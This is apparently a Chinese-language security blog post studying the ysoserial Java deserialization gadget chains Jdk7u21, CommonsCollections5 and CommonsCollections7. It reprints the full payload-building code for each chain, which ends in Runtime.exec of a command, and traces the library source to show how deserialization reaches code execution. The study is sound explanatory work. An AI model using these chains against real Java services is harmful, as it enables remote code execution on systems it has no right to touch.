持续更新中……
Jdk7u21 环境:jdk7u21
从yso给的链分析,关键代码:
其中涉及的Gadgets
和Reflections
两个类都是yso里面给的,到时候再分析
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 public class Yso { public static void main (String[] args) throws Exception { String command = "calc" ; final Object templates = Gadgets.createTemplatesImpl(command); String zeroHashCodeStr = "f5a5a608" ; HashMap map = new HashMap(); map.put(zeroHashCodeStr, "foo" ); InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map); Reflections.setFieldValue(tempHandler, "type" , Templates.class); Templates proxy = Gadgets.createProxy(tempHandler, Templates.class); LinkedHashSet set = new LinkedHashSet(); set.add(templates); set.add(proxy); Reflections.setFieldValue(templates, "_auxClasses" , null ); Reflections.setFieldValue(templates, "_class" , null ); map.put(zeroHashCodeStr, templates); ByteArrayOutputStream bos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(bos); oos.writeObject(set); ByteArrayInputStream bis = new ByteArrayInputStream(bos.toByteArray()); ObjectInputStream ois = new ObjectInputStream(bis); ois.readObject(); } }
利用javassist
生成payload,而templates为TemplatesImpl
1 2 3 4 5 6 7 8 9 10 11 12 13 final Object templates = Gadgets.createTemplatesImpl(command);public static Object createTemplatesImpl ( final String command ) throws Exception { if ( Boolean.parseBoolean(System.getProperty("properXalan" , "false" )) ) { return createTemplatesImpl( command, Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl" ), Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet" ), Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl" )); } return createTemplatesImpl(command, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class); }
这里利用到了一个新的类LinkedHashSet
,不过只是HashSet
的子类,用于调用HashSet#readObject
利用反射获取构造方法实例化AnnotationInvocationHandler
,并给属性type赋值
利用动态代理的方法实现Templates 接口,
1 2 3 InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map); Reflections.setFieldValue(tempHandler, "type" , Templates.class); Templates proxy = Gadgets.createProxy(tempHandler, Templates.class);
HashMap修改值,是为了防止在序列化的时候触发,因为序列化的时候会调用到HashSet#add
从而调用到Hash#put
,其中会调用到Templates#equals
因为使用了动态代理所以会调用到AnnotationInvocationHandler#invoke
从而调用到equalsImpl
,
而在equalsImpl
中会遍历类里面的所有方法然后直接调用
调用到TemplatesImpl#getOutputProperties
从而实现了RCE,而这个也是反序列化之后实现RCE的主要调用链
1 2 3 HashMap map = new HashMap(); map.put(zeroHashCodeStr, "foo" ); map.put(zeroHashCodeStr, templates);
而反序列化之后利用链的起点在于
CC5 环境
This only works in JDK 8u76 and WITHOUT a security manager
Gadget Chain 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 Gadget chain: ObjectInputStream.readObject() BadAttributeValueExpException.readObject() TiedMapEntry.toString() LazyMap.get() ChainedTransformer.transform() ConstantTransformer.transform() InvokerTransformer.transform() Method.invoke() Class.getMethod() InvokerTransformer.transform() Method.invoke() Runtime.getRuntime() InvokerTransformer.transform() Method.invoke() Runtime.exec() public class CommonsCollections5 extends PayloadRunner implements ObjectPayload <BadAttributeValueExpException > { public BadAttributeValueExpException getObject (final String command) throws Exception { final String[] execArgs = new String[] { command }; final Transformer transformerChain = new ChainedTransformer( new Transformer[]{ new ConstantTransformer(1 ) }); final Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod" , new Class[] { String.class, Class[].class }, new Object[] { "getRuntime" , new Class[0 ] }), new InvokerTransformer("invoke" , new Class[] { Object.class, Object[].class }, new Object[] { null , new Object[0 ] }), new InvokerTransformer("exec" , new Class[] { String.class }, execArgs), new ConstantTransformer(1 ) }; final Map innerMap = new HashMap(); final Map lazyMap = LazyMap.decorate(innerMap, transformerChain); TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo" ); BadAttributeValueExpException val = new BadAttributeValueExpException(null ); Field valfield = val.getClass().getDeclaredField("val" ); Reflections.setAccessible(valfield); valfield.set(val, entry); Reflections.setFieldValue(transformerChain, "iTransformers" , transformers); return val; } public static void main (final String[] args) throws Exception { PayloadRunner.run(CommonsCollections5.class, args); } public static boolean isApplicableJavaVersion () { return JavaVersion.isBadAttrValExcReadObj(); } }
分析 相较于CC6,CC5利用到了BadAttributeValueExpException
异常类,去看一下这个类只有一个构造方法和一个toString
| readObject
而exp中将给该类的val赋值为放入了修饰好的恶意类的TiedMapEntry
1 2 3 4 BadAttributeValueExpException val = new BadAttributeValueExpException(null ); Field valfield = val.getClass().getDeclaredField("val" ); Reflections.setAccessible(valfield); valfield.set(val, entry);
那么关键就是反序列化的时候会怎么调用,因为exp是对val
进行序列化,说明会调用到BadAttributeValueExpException
的readObject
代码执行的时候会实现获取BadAttributeValueExpException
的所有属性,而valObj则获取了val的值,也就是TiedMapEntry
,导致在后面调用到了valObj.toString()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 private void readObject (ObjectInputStream ois) throws IOException, ClassNotFoundException { ObjectInputStream.GetField gf = ois.readFields(); Object valObj = gf.get("val" , null ); if (valObj == null ) { val = null ; } else if (valObj instanceof String) { val= valObj; } else if (System.getSecurityManager() == null || valObj instanceof Long || valObj instanceof Integer || valObj instanceof Float || valObj instanceof Double || valObj instanceof Byte || valObj instanceof Short || valObj instanceof Boolean) { val = valObj.toString(); } else { val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName(); } }
TiedMapEntry#toString
会调用到getValue
,其中实现对LazyMap#get
的调用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 public String toString () { return this .getKey() + "=" + this .getValue(); } public Object getValue () { return this .map.get(this .key); } LazyMap#get` ,这里的`this .factory` 其实就是`ChainedTransformer public Object get (Object key) { if (!super .map.containsKey(key)) { Object value = this .factory.transform(key); super .map.put(key, value); return value; } else { return super .map.get(key); } }
ChainedTransformer#transform
实现payload中InvokerTransformer#transform
的调用,从而实现RCE
1 2 3 4 5 6 7 8 9 Reflections.setFieldValue(transformerChain, "iTransformers" , transformers); public Object transform (Object object) { for (int i = 0 ; i < this .iTransformers.length; ++i) { object = this .iTransformers[i].transform(object); } return object; }
CC7 环境 jdk8u71
Gadget 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 java.util.Hashtable.readObject java.util.Hashtable.reconstitutionPut org.apache.commons.collections.map.AbstractMapDecorator.equals java.util.AbstractMap.equals org.apache.commons.collections.map.LazyMap.get org.apache.commons.collections.functors.ChainedTransformer.transform org.apache.commons.collections.functors.InvokerTransformer.transform java.lang.reflect.Method.invoke sun.reflect.DelegatingMethodAccessorImpl.invoke sun.reflect.NativeMethodAccessorImpl.invoke sun.reflect.NativeMethodAccessorImpl.invoke0 java.lang.Runtime.exec public class CommonsCollections7 extends PayloadRunner implements ObjectPayload <Hashtable > { public Hashtable getObject (final String command) throws Exception { final String[] execArgs = new String[]{command}; final Transformer transformerChain = new ChainedTransformer(new Transformer[]{}); final Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod" , new Class[]{String.class, Class[].class}, new Object[]{"getRuntime" , new Class[0 ]}), new InvokerTransformer("invoke" , new Class[]{Object.class, Object[].class}, new Object[]{null , new Object[0 ]}), new InvokerTransformer("exec" , new Class[]{String.class}, execArgs), new ConstantTransformer(1 )}; Map innerMap1 = new HashMap(); Map innerMap2 = new HashMap(); Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain); lazyMap1.put("yy" , 1 ); Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain); lazyMap2.put("zZ" , 1 ); Hashtable hashtable = new Hashtable(); hashtable.put(lazyMap1, 1 ); hashtable.put(lazyMap2, 2 ); Reflections.setFieldValue(transformerChain, "iTransformers" , transformers); lazyMap2.remove("yy" ); return hashtable; } public static void main (final String[] args) throws Exception { PayloadRunner.run(CommonsCollections7.class, args); } }
分析 CC7的链子特点在于定义了两个LazyMap
,并放到Hashtable
中去,而Hashtable
顾名思义也就是哈希表,
这个链子显而易见也是像通过调用到LazyMap#get
或者LazyMap#getValue
来实现RCE,那么重点就是从哪里开始调用了,这里套在最外面的类为Hashtable
,那就直接去看Hashtable#readObject
会遍历Hashtable
里面的键值对
跟进到reconstitutionPut
,这里会将遍历到的键值对都放到tab
里面,并且要保证放入的数据hashCode
不能相等即不能产生哈希碰撞,而如果hashCode
相等就会调用到LazyMap#equals
跟进到LazyMap#equals
,但LazyMap并没有重写这个方法,那就是他父类AbstractMapDecorator#equals
这里再次调用到了某类的equals,而链子里在实现LazyMap的时候会先写一个innerMap(HashMap),而LazyMap#decorate
方法也就相当于构造方法,将innerMap给了父类,所有这里的this.map
也就是HashMap
了
1 2 3 public boolean equals (Object object) { return object == this ? true : this .map.equals(object); }
但是HashMap也没有重写这个方法,照例去其父类找AbstractMap#equals
成功调用到了LazyMap#get
,后面的就不继续分析了
所有理所当然的,要实现这个链子,就需要强制调用到AbstractMapDecorator#equals
,也就是说传入HashTable必须要产生哈希碰撞,而这个点在之前蓝帽杯的时候也碰到了,这里就不明确说了
Reference https://www.yuque.com/jinjinshigekeaigui/qskpi5/at52wg
https://stackoverflow.com/questions/12925988/how-to-generate-strings-that-share-the-same-hashcode-in-java